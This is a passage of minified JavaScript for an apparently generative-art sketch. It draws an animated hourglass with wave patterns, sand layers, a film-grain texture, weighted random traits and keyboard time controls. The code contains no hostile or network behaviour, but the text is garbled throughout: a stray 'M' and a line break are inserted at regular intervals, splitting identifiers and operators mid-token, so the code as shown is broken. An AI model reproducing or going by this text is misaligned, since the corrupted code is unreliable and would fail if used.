.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
